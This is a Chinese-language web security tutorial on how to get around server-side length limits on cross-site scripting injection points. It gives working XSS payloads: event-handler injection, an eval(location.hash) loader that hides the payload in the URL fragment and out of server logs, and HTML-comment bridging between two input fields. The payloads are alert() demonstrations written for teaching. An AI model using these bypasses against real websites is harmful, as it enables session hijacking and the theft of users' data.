前言
很多时候,产生XSS的地方会有变量的长度限制, 这个限制可能是来自服务端的处理结果。
案例
假设下面的代码存在一个XSS漏洞:
<input type="text" value="$VAR" />
服务端如果对输出的变量 $var 做了严格的长度限制, 那么攻击者可能这样构造xss payload:
$var:
"> <script>alert(/xss/)</script> //
希望达到的效果是:
<input type="text" value=""> <script>alert(/xss/)</script> // "/>
假设长度限制为20个字节, 则这段XSS会被切割为:
"> <script>alert(/xs
连一个完整的函数都无法写完, XSS攻击可能无法成功, 那么是不是就万事大吉了?
答案是否定的。
绕过一
攻击者可以利用事件(Event)来缩短所需的字节数:
" onclick=alert(1) //
刚好20个字节, 实际输出为:
<input type="text" value="" onclick=alert(1) //"/>
当用户点击文本框后就会执行alert
绕过二
但利用"事件标签"能够缩短的字节数是有限的, 最好的办法是把XSS Payload 写到别处, 再通过简短的代码加载这段XSS Payload。
最常用的一个"藏身处"就是 "location.hash"。
- location.hash
hash 属性是一个可读可写的字符串,该字符串是 URL 的锚部分(从 # 号开始的部分)。
实例
返回一个 URL 的主要部分。假设当前的 URL 是 http://www.runoob.com/test.htm#PART2:
document.write(location.hash);
以上实例输出结果:
#part2
并且根据HTTP协议, location.hash的内容不会在HTTP包中发送, 所以服务端的Web日志中并不会记录下location.hash的内容, 从而也更好地隐藏了黑客的真实意图。
构造的xss payload为:
" onclick="eval(location.hash.substr(1))
总共是40个字节, 输出后的HTML是:
<input type="text" value="" onclick="eval(location.hash.substr(1))" />
因为 "location.hash" 的第一个字符是 #, 所以必须去除第一个字符才行, 此时构造出的XSS URL为:
http://ww.a.com/test.html#alert(1)
当用户点击 "location.hash"里的alert(1)就会执行了。
"location.hash"本身并没有长度限制, 但是浏览器的地址栏是有长度限制的, 不过这个长度已经足够写很长的XSS Payload了, 要是地址栏长度也不够用, 还可以再使用加载远程JS的方法来写更多的代码。
绕过三
某些环境下, 可以利用注释符绕过长度限制。
比如我们能够控制两个文本框, 第二个文本框允许写入更多的字符。此时利用HTML的注释符号, 把两个文本框之间的HTML代码全部注释掉, 从而"打通" 两个input标签。
原HTML:
<input id=1 type="text" value="$var1" />
<input id=2 type="text" value="$var2" />
在第一个input框中输入:
"> <!--
在第二个input框中输入:
--> <script>alert(1)</script>
最终的效果是:
<input id=1 type="text" value=""> <!-- />
<input id=2 type="text" value="--> <script>alert(1)</script>" />
中间的红色部分代码全部被注释掉了。